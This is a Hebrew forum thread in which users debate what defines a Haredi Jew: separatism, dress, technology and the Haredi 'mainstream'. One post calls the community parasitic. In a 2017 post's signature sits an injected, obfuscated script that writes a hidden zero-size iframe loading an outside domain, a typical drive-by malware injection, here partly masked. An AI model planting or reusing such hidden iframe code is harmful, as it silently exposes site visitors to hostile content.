| נשלח ב-27/4/2006 14:15 |
 |
| |
מיהו חרדי?/העוד חרדים אנו - חלופ"ד עם מיימוני
ספרן:
גם בפורום שלנו וגם בפורום הסמוך ח"ח מקובלת המסקנה שחרדי שווה אדם שלבוש כחרדי.
אבל יש בעיה חמורה עם ההגדרה הזו. אם זה נכון, אזי אנחנו מחליפים בין סימן זיהוי למהות. האם זה בא לומר שלהיות חרדי זה רק ענין חיצוני?
מה שנראה לי הוא שהחרדיות היא התפשטות של החיים בתור יהודי חרדי על כל הבטי החיים. דוגמא יכולה להבהיר זאת ברור מאד. ניקח ראש ישיבה בעולם הד"לי. יש לו חיים מעבר לגמרא ולפוסקים. הוא יכול לקרוא ספר. כוונתי כמובן לספרות יפה. אילו לא היה איסור על קולנוע, היה יכול ללכת לסרט. חרדי לעולם לא יוכל לעשות זאת. הוא נמצא תמיד רק בתוך מה שמוגדר כעולם החרדי. אין חוץ. או, יותר נכון, יש חוץ, והוא החוץ האסור. אנו תמיד בפנים.
______
מיימוני:
האם אין זו הרחבה של המשפט הידוע של החזון איש כי יש כאלו שמחלקים את החיים לשנים, מה שהרבנים – והתורה – אומרים ומה שנשאר מחוץ לזה?
_______
ספרן:
בשורש הדברים, כנראה כן. אבל החזון איש דיבר כמובן על יחס לפסק ועל הנהגה ציבורית. ואני מדבר על סוציולוגיה. הרי הענין הראשון נוגע לציבור והשני לפרטים.
_______
מיימוני:
זה מביא אותנו למחלוקת שלי עם מיכי, האם הציבור הוא יותר מאשר אוסף של פרטים... על כל פנים, התחושה שלי היא שהמשפט הזה של החזון איש עיצב הרבה מאד את התודעה שלנו. וזה בדיוק מה שהוא רצה להשיג. סליחה שגלשתי הצידה.
_______
ספרן:
לחרדי, בתודעתו היומיומית, אין עולם אחר, אין הרגשות ואין שום דבר מחוץ לעולם החרדי. כל השאר הוא סוג של עבירה. ביטול תורה, ניתוק הקשר. מיעוט בעיסוק המחוייב של "להרבות כבוד שמים", או, ברמה נמוכה יותר, "צבירת נכסים בבנק של העולם הבא". העולם הזה הוא כבר רוחני והוא אחד ויחיד. אין בו אלא עשיית רצון ה' כפי שהוא מתורגם על ידי התורה, המצוות, המנהגים – והתודעה החרדית של מה שהינו בפנים.
דוגמאות: קריאת עיתון צריכה להיות לצורך. הוא לא יקרא עיתון כדי להכיר את העולם. הוא קורא כי הוא עייף, או כדי להתעדכן במה שקורה בציבור שלנו ונוגע לחייו, כמו הודעות על הכשרים. אבל מי שאינו חרדי, הד"לי, יקרא עיתון כי זה חלק מצורת האדם בעולם. החרדי לא יוכל להסכים לכך אף פעם.
_______
מיימוני:
לפי זה, אם יש סרט שצמח בתוך העולם החרדי, אזי הוא כבר יהיה בסדר. זה מסביר את העובדה שסרטים כמו של גרובייס הם כשרים, מפני שהם משלנו.
_______
ספרן: בדיוק.
_______
מיימוני:
אז לפי זה, האם תוכל להיות גם טלויזיה חרדית?
_______
ספרן: עובדה שיש רדיו חרדי. טלויזיה, איני יודע.
_______
מיימוני:
זה מסביר הרבה מאד. את כל ההמצאות הטכנולוגיות שיש בהן משום פריצת גדר מכניסים פנימה לתוך העולם שלנו.
_______
ספרן:
אם נרצה, נוכל לכנות זאת "פסול יוצא". אנו נזהרים מהפסול הזה, שמגדיר אותנו כחרדים. ויתכן שזה סימן היכר של תרבות פונדמנטליסטית. כמו הטאליבן באפגניסטן, שבוגי אוהב להזכיר אותו.
_______
מיימוני:
כמדומה שראיתי שבן ציון כהנא תיאר פעם את התהליך הזה. את הטלויזיה השארנו בחוץ. את הרדיו אסרו במשך הזמן. המחשב – כאן נחלנו מפלה. אבל האינטרנט נאסר וגם האימייל. והסלולרי היה זקוק לאיזה תהליך גיור כדי להיות כשר. כלומר, היה צריך למצוא משהו שיהפוך את הסלולרי לחרדי, לא חשוב מה, כדי שנרגיש שאיננו מאמצים כך סתם טכנולוגיה זרה. כלומר, לא העדר הס.מ.ס הוא הקובע, אלא זה שיש הכשר על המכשיר. יש איזה שוני, וזה מספיק.
_______
ספרן:
והבסיס הוא בדברי חז"ל. אל תאמין בעצמך עד יום מותך. אנו נוטלים את העיקרון הזה עד הסוף. הוא הפך להיות המוטיב המרכזי. איך אחרת תסביר את צמיחת קוי המהדרין? למעשה, אולי אפשר לומר שמהדרין הוא התגובה החרדית לצו שאנו נטלנו מפרקי אבות. וזה גם חלק מהאידיאולוגיה.
_______
מיימוני:
אותה אידיאולוגיה שצמחה גם כתגובה להשכלה.
_______
ספרן:
כן. והנה עוד פרט מהותי בהגדרה. שים לב כי לחרדי יש דאגה מרובה מאד לעתיד. לילדים. לצאצאים. אנו רוצים שילדינו ייראו כמונו. איני אומר שד"לי אינו רוצה שצאצאיו יהיו דתיים. אבל זה לא מעסיק אותו במודע במידה שזה יעסיק את החרדי. האם ראית איך מכרו את הרעיון של טלפונים סלולריים כשרים לציבור שלנו? מה תאמר לילדיך. הם אלו שייפגעו מזה שאתה אינך שומע בקול הרבנים. הרי אתה עצמך פירסמת על זה "מאמר" ב"דעות" בח"ח.
וחשוב לעצמך: האם אתה חרדי? האם אני חרדי? הרי שנינו ניחנו בפתיחות בלתי חרדית בעליל.
_______
מיימוני:
כלומר, אם יש לך חלקים לא חרדיים באישיותך, אתה כבר בחוץ?
_______
ספרן:
כן, או שאתה חרדי מודרני. וזה כמובן יצור כלאים, גם אם הוא הופך לנפוץ יותר ויותר.
_______
מיימוני:
אבל איני מודרני! אם כבר, אז אני חזונאישניק!
_______
ספרן: אז יש לך סתירה בתוך ההגדרה העצמית שלך.
_______
מיימוני:
אולי לא, מפני שלגבי לימוד פילוסופיה הוא בגדר חלק מלימוד תורה. כמו הרקחות והטבחות של הרמב"ם. ואולי זה דגם אחר, הדגם המיימוניסטי...
על כל פנים, התובנה החשובה שלך גם מסבירה את ההתנגדות העצומה ל"צמיחתו של גדול". פתאום מתברר שגם ראשי הישיבות של הדור העבר לא היו חרדים. היתה להם תרבות, טולסטוי, שייקספיר. הם היו אנשים עשירים. לא כמו האידיאלים של הדור הזה, של "אין לי אלא תורה".
_______
ספרן:
כלומר, הכל תלוי בתודעה. גם אתה מרגיש שאתה יכול להיות חרדי רק אם תכניס את הפתיחות שלך לתוך החרדיות. אם אתה מצליח או לא איני בא לשפוט...
אני מסכם: חרדיות היא ענין של תודעה. תודעה שמוגדרת על ידי פנים וחוץ. והפנים והחוץ אינם זהים בהכרח לתרבות היהודית מול טכנולוגיה ועולם מודרני, אלא על ידי העברת כל דבר מודרני לתוך המסגרת הצרה שלנו על ידי אימוצו וגיורו. ואז אנו יכולים להישאר עם הסיסמה הקבועה: אין לקב"ה בעולמו אלא ד' אמות של הלכה. אפשר להכניס לתוכן דברים, אבל אתה חייב תמיד להישאר באותן ד' אמות, ולדעת שכל מה שבחוץ זר לך. רק אז אתה חרדי.
הכתיב
תוקן על ידי לינקזעצער ב- 24/09/2008 14:43:23
 |
|
|
|
|
| נשלח ב-23/12/2018 11:54 |
|
| |
הדפסה זרמים תת מגזריים המיינסטרים החרדי איננו רוב המגזר החרדי, לכל היותר הוא קבוצת המיעוט הגדולה ביותר בתוכו, וגם זה לא בטוח מנדי גרוזמן, י"ב בטבת תשע"ט, 20/12/2018 צילום: מירי שמעונוביץ אנחנו יוצאים כעת למסע חיפוש אחרי החרדים המיינסטרימים. מיינסטרים זו מילה לועזית, אבל מי שמרבים להשתמש בה הם הכי לא לועזיים שיש. הקבוצה השמרנית במגזר חוזרת פעם אחר פעם על הטענה שיש חרדיות מיינסטרימית – בעברית: הזרם המרכזי – ויש את כל השאר. את הטיעון הזה מכיר כל מי שמסקר את החברה החרדית, מנתח אותה או פועל בתוכה. מחקר שיצביע על עלייה באחוז החרדים שמתגייסים ופונים לאקדמיה, ייסתר בטענה שהוא מתמקד במעגלים הרחבים "אבל לא במיינסטרים". רב חרדי שיתבטא בצורה שתוכיח שלא כל החרדים חושבים אותו דבר, יספוג את ההאשמה ש"הוא לא מיינסטרים". וכל כתב דתות שיסקר תופעה שרווחת במגזר, יקבל מהמיינסטרימים טוקבקים שהאנשים שהוא מסקר, שימו לב, הם חרדים לא מהמיינסטרים. עכשיו בואו נדבר על המיינסטרים. או יותר נכון, בואו נגדיר קודם את הלא מיינסטרימים. בסיפורי השטעטל מככבת תמיד דמותו של הכופר בעיירה. אדם שחי בין כולם, אבל שונה מאוד. הוא מסומן, כולם יודעים מי הוא, והלך נודד שיבקש לעמוד על הלכי הרוח בעיירה, אכן יטעה אם יתמקד דווקא בו. אם סימון גבולות הגזרה של הלא-מיינסטרימים היה מקיף את כופרי השטעטל, זו הייתה טענה מדויקת. אבל הגבולות רחבים הרבה יותר. חרדים חוצניקים הם לא מיינסטרים. חרדים ששורשי משפחתם בפא"י גם הם לא מיינסטרים. כמוהם גם בעלי תשובה ובניהם, אנשי ש"ס שאינם מתגוררים בירושלים ובבני ברק אלא בפריפריה, משפחות של דתיים לאומיים שהפכו לחרדים בשנות השבעים, וכמובן ברסלב, חב"ד וכל המסתעף. לא אחת תוכלו להיתקל בצעיר חרדי שמצטט ספרות ישראלית יפה או מביע עמדות שכביכול אינן מקובלות מגזרית. כשמופתעים ומנסים לתהות על קנקנו, הוא מסביר מיד: "המשפחה שלנו לא בדיוק משפחה חרדית רגילה. אמא גדלה להורים חרדים מתל אביב, ואבא גדל בקיבוץ הדתי ונשרף בשנותיו בישיבה". אחרי השני והשלישי שמספרים את אותו סיפור, מתגלה פתאום תמונה שונה מזו שרגילים לצייר. המיינסטרים החרדי איננו רוב המגזר החרדי, לכל היותר הוא קבוצת המיעוט הגדולה ביותר בתוכו, וגם זה לא בטוח. מרבים לדבר על כור ההיתוך של בן גוריון, אבל כמה שנים אחרי שנות השיא של מייסד המדינה התחיל לפעול כור היתוך חרדי. המוני שבטים של דתיות אורתודוקסית שלא אחזו בגישה התיאולוגית של הרב קוק ביחס למדינת ישראל, הותכו לתוך מה שמכונה היום "הציבור החרדי". מנהיגי החרדים שהתגוררו בבני ברק שימשו כאליטה מובילה, וסחפו אחריהם משפחות רבות שההווי בתוכן היה מורכב יותר מבחינת היחס למדינה ולעבודה, ובמקרים רבים גם בכל הנוגע ליחס לתרבות הכללית. האליטה הצליחה משמעותית, ואכן שאיפתה לשנות את פניהם של רבים במגזר החרדי הצליחה, אבל הרבה יותר מכך היא הצליחה תדמיתית. הציבור החרדי נצבע בצבע אחד. אלו שהשתלבו בתוכו אבל זהותם מורכבת יותר, מתהלכים בתחושה שהעובדה שיש בתוכם מרכיבים שונים מהאווירה הכללית היא שוני פרטי שלהם, אבל המגזר החרדי הוא המגזר החרדי. אלפי הבודדים הללו התרגלו לחשוב שהם מיעוט, בלי שאיש גילה לכל אחד מהם שהוא ממש לא היחיד. בסיקור החברה החרדית מרבים להדגיש את החרדיות החדשה, אותה מגמת היפתחות שמתרחשת בקרב בני ובנות המגזר. המגמה הזאת כוללת גם כאלה שאכן גדלו בציבור שמכונה המיינסטרים, אבל כשבוחנים אותה מקרוב, מגלים שלצד זאת היא גם משמשת כמתווכת בין המוני הבודדים הלא מיינסטרימים שהיו קיימים תמיד אבל כעת הם מתאחדים. חלק גדול מהסטודנטים החרדים גדלו במשפחות שאקדמיה אצלן לא הייתה מילה גסה. אבל בעוד הוריהם, בני הדור הראשון והשני לחיים במדינה, רכשו מקצוע אבל הקפידו על דמי חבר דוגמת תרומות לישיבות החרדיות ולחצרות הרבנים, הבנים מבקשים להניף דגל. אבל גם הבנים, בני הדור השלישי, עדיין לא גילו את הסוד הגדול: הם אכן מיעוט בתוך המגזר, בדיוק כמו שהגרעין הקשה של החרדיות הוא מיעוט. אלה כאלה הם שבטים בתוך חברה גדולה, רק ששבט אחד משמש כאליטה וכל השאר נספחים לו. בסופו של דבר את הטענה הזאת צריך לנסח מתמטית: אי אפשר לתאר תיאור פשטני של המגזר החרדי, ובמקביל לטעון ש"אנחנו קרוב למיליון איש במדינה וצריך להתחשב בנו". הקרוב למיליון איש הזה כולל בתוכו המוני חרדים לא מיינסטרימים. ההנהגה החרדית צריכה להכריע אם חרדי לא מיינסטרים נחשב חרדי, או לחילופין לקיים הערכה מחודשת ולעדכן את המספר כך שיהיה הרבה הרבה יותר קטן. לתגובות: m
|
|
|
|
|
| נשלח ב-10/6/2018 15:38 |
|
| |
מדד החרדיות
|
|
|
|
| נשלח ב-16/4/2018 11:28 |
|
| |
עוד חרדי שכותב את הברור מאליו -התבדלות אפשרית רק לפי הדגם של נטורי קרתא שלא תלויים במדינה.
החברה החרדית הטפילית לא יכולה להתבדל מהמדינה .
ממש כמו בטבע - הטפיל לא יכול להתבדל מהפונדקאי כי בלעדיו אין לו חיים.
|
|
|
|
| נשלח ב-15/4/2018 19:02 |
|
| |
ספרן
חרדי לא נמדד על פי כמה שהוא פחות מודרני אלא על פי התבדלותו מן החברה החילוניתימינו אלה הם ימי ויכוחים קשים על החרדיות והחילוניות, היחס למדינה ולמנהיגיה, וכשעוברים על תוכן הויכוחים הללו בין לפני שלשים ארבעים חמישים ושישים שנה לימינו אלה, לא יאומן לאן התדרדרנו עד כדי שהעיקר, יסוד היסודות של החרדיות נמחק כליל אינו מוזכר כלל אינו נושא לוויכוחקם דור אשר לא ידע חרדיות מהי, ולא רק שלא ידעו הם אפילו לא חקרו, מפני שאם היו לומדים את תוכנה של האידיאה החרדית רוב דבריהם הבל וכלל לא חלק מן הויכוח, כאשר יושבים יחד עם החילוני במסגרת אחת, השאלה היא האם אפשר להקרא חרדי, או שאנו רומסים את היסוד החרדילא אלאה אותכם כאן בהיסטוריה, זה קל מאוד לבדוק, איך קמה האידיאה החרדית ומה היה עיקרה ותוכנה. זה היה בתקופת החתם סופר זצ"ל נאבקו נגד ההשכלה, והחליטו על 'התבדלות' לא היה אז ויכוח כלל על איזה חולצה ואיזה מגבעת אתה לובש, העקרון היסודי של מי שקבעו את האידיאה החרדית היתה 'ההתבדלות' מתבדלים מכל מי שנוטה או בעד לימודים חיצוניים או כל שותפות עם הנוטים להשכלהיצויין כי אז רוב העם היהודי לא קיבל את הדרך הזו, וכוונתי כאן לשומרי תורה ומצוות שחששו מן הדרך הזו שמא נאבד את רוב העם היהודי, והיה קצת צדק בדבריהם מפני שעם השנים אכן זה מה שקרה החלק האחר התרחק יותר לכיוון הרפורמי והקונסרבטיבי, אבל באשר לאורטודוקסים כאן קרתה מהפכה, מי שבתחילה לא קיבלו את הגישה החרדית הסכימו כי זו הדרך אם אנו רוצים להבטיח את העתיד היהודיהעקרון החרדי נשמר עד להקמת המדינה, כאן נוצרה בעיה מפני שלא יכלו עוד לגמרי להתבדל, קבעו גדולי ישראל אז כללים, תחילה חשבו שיישבו בממשלה ויעבדו יחד ויוכלו לשמור על ההתבדלות, אבל מהר מאוד הגיעו למסקנה כי זה בלתי אפשרי פרשו ועד לתשל"ז ישבו באופוזיציה, ורק אז כאשר מנחם בגין הקים קואליציה הסכימו גדולי התורה שנצטרף לקואליציה וחלילה לא לממשלה, בשביל לשמור על ההתבדלות, הנימוק היה כי מאחר ובין כה וכה יושבים בכנסת אז אין זה משנה אם נשב באופוזיציה או בקואליציה כאשר העקרון היה ששומרים על ההתבדלות בכל מקום שזה רק אפשרישימו לב, באותן שנים גדולי ישראל אסרו על מוסדות החינוך לקחת כסף מן הממשלה, וכשהתירו אז רק 45 אחוזים, בשביל שרוב הכסף לא יהיה מן הממשלה. מאוחר יותר כשהציבור גדל והצרכים היו מרובים התירו 65 אחוזים, ורק לאחר הקמת 'דגל התורה' היה זה אברהם רביץ וכמה אחרים שלחצו על הרבנים שיתירו לקחת מאה אחוז, הרבה גדולים זעקו שזה לא טוב אבל הכסף ניצח, במיוחד כשאז כבר היתה ש"ס שלחצה על כך, והדברים השתנובמשך עשרות שנים שמרנו על ההתבדלות ידענו כי איננו חלק מהם בשום דבר וענין, וכפי שגדולי התורה קבעו אז, כי אם החילונים יקבעו כי חייבים לשבת וללמוד גמרא כל היום תהיה לנו בעיה לקיימה. היה זה אז אחד מגדולי הרבנים שאמר כי יש לנו נס שהחילונים לא תובעים לשמור את השבת, כי אז מה היינו עושים. העקרון היה, אם הם הולכים לימין אנו לשמאל ואם הם לשמאל אנו לימין, בשום אופן אסור לנו להיות יחד עימם במקום כלשהומאז קמה ש"ס הטשטוש חדר לרחוב החרדי עד כדי שבדורנו כשאתה שואל צעיר מה זה להיות חרדי הוא יאמר לך חולצה לבנה ומגבעת שחורה דברים כאלו, הוא לא יודע עוד על ההתבדלות מפני שהוא לא רואה אותנו מתבדלים באמת, ההיפך, הוא רואה אותנו מתבוללים עם החילונים כמעט בכל פינהבנושא הזה אפשר לכתוב ולכתוב ואני מבקש כאן להגיע לנקודה העיקרית של מה זה להיות חרדי, כאשר אתה מתבדל אתה חרדי, וכשאתה לא מתבדל אתה לא חרדי. אין זה משנה כלל האם אתה מודרני או בריסקער וחזון איש'ניק, אם אתה מתבדל גם אם תהיה מן 'החרדים החדשים' כפי שמכנים אותם היום או 'מודרנים' בלשון העבר, אתה חרדי, ואם אתה לא מתבדל גם אם תהיה בריסקער וחזון איש'ניק אתה לא חרדי ('בעולמם של חרדים')
תוקן על ידי ספרן ב- 15/04/2018 19:04:01
תוקן על ידי ספרן ב- 15/04/2018 19:06:11
|
|
|
|
|
| נשלח ב-26/7/2017 19:01 |
|
| |
מיהו חרדי (פורום אוצה'ח)
|
|
|
|
| נשלח ב-16/6/2017 10:57 |
|
| |
חרדיות חדשה, בעיירה היו מעשיים יותר.
|
|
|
|
| נשלח ב-16/6/2017 09:00 |
|
| |
'יפה מכונים אנחנו 'חרדים' ואילו שאר שומרי תורה ומצוות קוראים לעצמם 'דתיים'. זה לא סתם כינוי אלא משקף את ההשקפה העמוקה על התורה. בעוד יש מי שרואה את התורה כ'דת', הרי ודאי הם יוצאים ידי חובתם בעצם הקיום שלהם את המצוות המעשיות, כמו ציצית ותפילין וכיוצא בזה, אך ברוב שעות היום וברוב חוויית החיים - הם נשארים כמו אנשים שאין להם תורה, אזרחי הארץ לכל דבר. כי רק מה שה'דת' מחייבת הם עושים, אך הם נשארים אנשים רגילים הנטועים בהווי הארץ.
אכן קהילת החרדים, נקראת בשם זה, לעורר ולבטא את היותנו "חרדים" לתורה, לא רק מקיימי תורה, ומקיימי חוקי התורה, אלא חרדים תמיד לכל ענייניה. ועל שם זה אנחנו 'חרדים', ואכן מפחדים גם בדרכי החיים מכל מיני התערבבות עם החילונים וכיוצא בהם, מפני שאנחנו לא די לנו עצם קיום התורה כי אם לחוות ולחיות עם "החרדה".
מי צודק?
הקב"ה בעצמו החליט אכן לתת את התורה בצורה חרדתית, מלאת קולות וברקים, להביא תוך כדי לידי יראה ורתת וזיע. כי רק כך מקבלים את התורה כדין'
|
|
|
|
|
| נשלח ב-22/5/2017 15:45 |
|
| |
|
|
|
|
| נשלח ב-22/5/2017 12:42 |
|
| |
מי שעושה X/Y/Z "הוא לא חרדי" - הציבור החרדי כולל כנראה רק כ2000 איש. כל השאר הם "לא באמת" חרדיים... (אגב, אני כפי הנראה לא חרדי)
|
|
|
|
| נשלח ב-22/5/2017 11:31 |
|
| |
ספרן
מאפיינים מובהקים של חרדיות. איקון ירוק.
וגם הקטע מוצלח מאד.
אני חושש שאני פחות חרדי ממנו. לפחות אני מקבל ציון שלילי על חלק מהסימנים שלו.
אמנם החרדיות מתעצבת מחדש לנגד עינינו. ויש כמה תשובות שונות וסותרות לשאלה "מיהו חרדי".
יש אפילו תשובות שונות לשאלה היותר חשובה, מיהו "בן תורה".
והשאלה החשובה היא כיום: איזו יהדות חרדית אנו מורישים לילדינו (והחל מגיל מסויים בעז"ה, לנכדינו ואולי נינינו).
ואיך מעבירים להם את המסרים הנכונים בדייקנות רבה ככל האפשר, בלי לאבד את הטוב ועם לסנן את הרע שיש.
__טעות הקלדה..._______________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 22/05/2017 11:31:52
|
|
|
|
| נשלח ב-22/5/2017 10:43 |
|
| |
חרדי ישן, היום כבר לא בקיאים בדרויאנוב ובאפרים קישון ע"ה.
העתונות החרדית מספקת את מנת הבידור היומי,אם כי לא באותה רמה.
|
|
|
|
| נשלח ב-22/5/2017 08:08 |
|
| |
האם אני חרדי? - מגדירי זהות חרדית.
מאת: הרב דוד בלוך בחרתי בכותרת זו למרות שמטבע הדברים היא תמשוך אש של טוקבקיסטים אלימים שמוחם צר אופק, רק אומר להם אכן אם אתם נחשבים כחרדים, אני אכן לא חרדי. המאמר כמובן לא מדבר עלי אישית אלא על רבים רבים שאורח חייהם והשקפתם דומים למתואר כאן. בימים אלו שכל אחד טוען לבעלות על 'השקפה חרדית' מן הראוי להעלות את הנושא לדיון ציבורי. בחרתי לפתוח בחלק זה בזוטות מחויכות כרקע לדיון הרציני בנושא 'מהי השקפה חרדית' לאשורה. אורחות חיים אורח חיי וחיי משפחתי חרדיים ״ליטאיים״ לגמרי. חינכתי את ילדיי במוסדות חרדיים המקובלים: [חיידר, ישיבה קטנה, ישיבה גדולה, כוללים...]- מוסדות נקיים מחשש של ״ציונות״.
אני שומר על רמת קיום המצוות המקובלת בציבור האברכים בקפידה רבה, ומקבל על עצמי בשמחה גם את כל גזרות ההרחקה ממכשירי תועבה ועיתונות חילונית, מקפיד בביתי על כל אותם נהלי צניעות שבין גברים לנשים המקובלים ומושרשים במגזר החרדי. בביתי מעשרים כל מוצר מזון גם בהכשר בד״ץ, אינני ״מטלטל״ בשבת גם בבני ברק, והחשמל הזורם בביתי בשבת מקורו בגנרטור שכונתי. בקיצור דוס מושלם. צבע, פולקלור, על טעם וריח.. אני לבוש כחרדי ישיבתי, בחליפה ארוכה חבוש מגבעת נטולת קנייטש, - אם כי בחדשי הקיץ אני סומך על כוחא דהיתרא ולא מכניס את זרועותיי לשרוולי החליפה המונחת על כתפיי [ה' יחזיר אותי בתשובה שלמה, אמן]. ואף אחד מבניי או חתניי לא נועלים סנדלים גם בקיץ. אני מכיר את השפה החרדית על כל ניביה, יודע ל״דבר בלומדעיס״ ומכיר היטיב את התייר'יס הישיבתיות הקלאסיות, אך אני מכיר גם את המשפטים המכוננים בעולם המחשבה 'הדתי לאומי' – 'יסוד כסא ה' בעולם' – 'נשמת כלל ישראל הפנימית מזריחה את אורה על כל פרט מפרטיה הכלליים והפרטיים בדור הגאולה' ואפילו מאמין שדוברי שפה זו מבינים את מה שהם אומרים. בקיאותי טובה למדי בסגנון ובתוכן השיחות המוסריות הליטאיות [שלא השתנו כבר 100 שנה – הייתי שם]. גם אני יכול ללהג שיחה חרדית ליטאית טיפוסית ב״שבע ברכות״ המתחילה ב'לכאורה קשה': אברהם אבינו שהתורה אומרת עליו........איך יתכן ש ........ולהסיק את המסקנה המוחצת והעמוקה: רואים מכאן שאפילו אברהם אבינו .... ולסיים: גם החתן שלנו הנקודה הפנימית שלו... אני נהנה עדיין לשמוע עובדות חדשות על החזו״א הח״ח הגרש״ש הגרש״ר ור' חצקל... גם אם הן מספרות רק על תפריט ארוחת הבוקר שלהם, אך גם דומע מהסיפורים המרגשים על 'חנן פורת' ז"ל. די בקי בכתבי דרויינוב [וא. קישון] כי בדור שלי [עוד מהמאה הקודמת] היה זה סימן מובהק של ״ישיבישר״, מתעדכן גם בשנינויות הישיבתיות המתחדשות שבכל דור ודור, ובדיחות מתוצרת 'מרכז' לא מצחיקות אותי. אני שייך כאמור למגזר הליטאי ולכן אין לי עקצוצים באוזן גם כאשר הש״ץ בשבת מנגן את ״לכה דודי״ ו״קל אדון״ במנגינה שהיא בת דודה של ״אלי ציון ועריה״, וניגוני 'נוורדוק' מכניסים גם אותי לדיכאון עמוק. כל זה לא מפריע לי ללכת ל'טישים חסידיים' –ואל תגלו לאף אחד אפילו להתוועדויות חבדיו"ת – להתעלם מהאמונות שלהם ולהיסחף יחד אתם לרגשי הקודש והתעלות בשירת דבקות. אני משוכנע שהאדמו"ר מלובביטש מת סופית לגמרי – ומאידך מתפעל עד כלות מפעילות ה'שלוחים' בעולם. בגלל עברי 'כחזונישני'ק' כבר לא מצחיקה אותי העובדה, ש״בלדרמן״ ובכולל חזו״א לא מזיזים את מחוגי השעון ל״שעון קיץ״, בכדי להראות אחת ולתמיד ל'ציונים' שלא הם יקבעו לנו את סדר היום. [אומרים שהייתה על כך ישיבת ממשלה מפוחדת]. אני לא עוצם את עיניי בדבקות כששרים את שירו של הרב קוק זצ"ל [כן זצ"ל] ״כשהנשמה מאירה גם שמיים עוטי ערפל מפיקים אור נעים״, למרות התוכן המיוחד והיפה הזה. מצטער זה לא עושה לי את זה. ובביתי לא תלויה תמונה ובה הכיתוב ״הצדיקים הטהורים .......״. אך גם לא תלויות בסלון ביתי שום תמונה של 'גדולים'. הקמת התנחלויות מבודדות לדעתי פוגעת במדינת ישראל – ומתקנא בלהט ובמסירות הנפש של מקימיהם. עד היום משהו צורם לי באוזן, כאשר שליח ציבור אשכנזי מתפלל בהברה ספרדית. למרות מאמציי שפת המחשבה של הרב קוק זצ״ל עדיין נשמעת לי כסינית ספרותית. אך כאשר מתרגמים את הדברים לעברית גם נשמתי מתעשרת. ההסברים המפולפלים מדוע למרות הכל הנבואות ש״במאמר הדור״ מתקיימות במציאות לא משכנעים אותי, - אך איני מפרש כל גילוי של יופי ערכי בציבור החילוני כצביעות ומעשה שטן. שירת ״שאו שערים״ לכבודו של נשיא המדינה זולל טרפות בישיבת ״מרכז הרב״ מזעזעת אותי כחילול הקודש. – אך מתרגש מהעובדה שהשלטון הוא יהודי למרות חילוניותו. ו'פרס נובל' לישראלי ממלא אותי גאווה גם אם מקבל הפרס הוא 'עוכר ישראל'. לראות ״סרוג״ צדיק, עדיין מפתיע אותי, ולראות את הצדיק הזה שר בעיניים מצועפות מגעגועים את ה״התקווה״ דומה בעיני כחילול התפילה. [משעשעת אותי המחשבה כיצד הייתה נראית אמירת ה״תקווה״ אם החרדלניקיים היו גם בריסקער'ס נרוויסטים] ברכת ״חג שמח״ ביום העצמאות עדיין נשמע לי כבדיחה לא מוצלחת, ולקרוא דיון הלכתי בדיני ״יום העצמאות״ דומה בעיני כקריאת סאטירה. – ומקנא באיכות עבודת ה', והלהט הקדוש של הכותבים אותם למלא את הארץ בכבוד ה'. הביטוי השחוק 'מסירות נפש' שמור בעיני רק 'לחיילים קרביים' גם אם הם חילונים, - לבעלי תשובה שעזבו חיים טובים ונוחים בכדי להסתופף בחצרות ה'. - לתושבי ההתנחלויות החרדליי"ם במקומות מסוכנים בארץ ישראל גם אם ישיבתם שם מסכנת שלא כדין את נשותיהם וילדיהם. בכדי להימנע מניסיונות ופיתויים אני גר ואגור אי"ה גם בעתיד רק בסביבה חרדית, למרות סלידתי העמוקה מהכפיה ההשקפתית הכרוכה בכך. אני אוהב, מעריץ, נמס, אל מול צדקותם, התמדתם, ובקיאותם בתורה של גאוני וצדיקי אמת, אך כופר בכל סיפורי ה'מופתים' שמייחסים להם, פשוט לא היה ולא נברא. 'אתה חושב משמע אתה קיים אמר הפילוסוף – וכופר בהנחה החרדית : 'אתה חושב עצמאית משמע אתה אפיקורס'. כמו כן אני לא מהסבורים שכל 'השקפה' שאינה כהשקפתי היא 'אפיקורסות. אני מקבל על עצמי ציבורית את הנהגת 'גדולי התורה' ובתנאי כפול ומכופל שהמידע שבידם לפני הכרעה אמין ולא מסווג על ידי ה'גיחזים' , והם מבינים היטיב בנושא שהם מכריעים בו. ואכמ"ל. נו, אז איך אני בנתיים , חרדי?
|
|
|
|
|
| נשלח ב-17/2/2016 11:48 |
|
| |
( כתגובה לזה:
אלי וינגוט גם בפורומים החרדים עולה כל פעם השאלה "מיהו חרדי" בסופו של דבר מדובר בהגדרות חברתיות וסממנים חיצוניים ולא יותר מכך.
מנהל שמלין שכר של עובדיו, אברך שמבריח סמים, מפיץ לשון הרע, מלבין פני חברו ברבים, מועל ולוקח שוחד יכול להיות חרדי מצויין. אכלת סלט במסעדה בהכשר הרבנות, לא ממש. )
הרוצח יגאל עמיר נחשב לחלק מהציבור הדתי. שוב, הגדרה חברתית.
|
|
|
|
| נשלח ב-17/2/2016 11:30 |
|
| |
ספרן
כלפי מה הדברים אמורים?
|
|
|
|
|
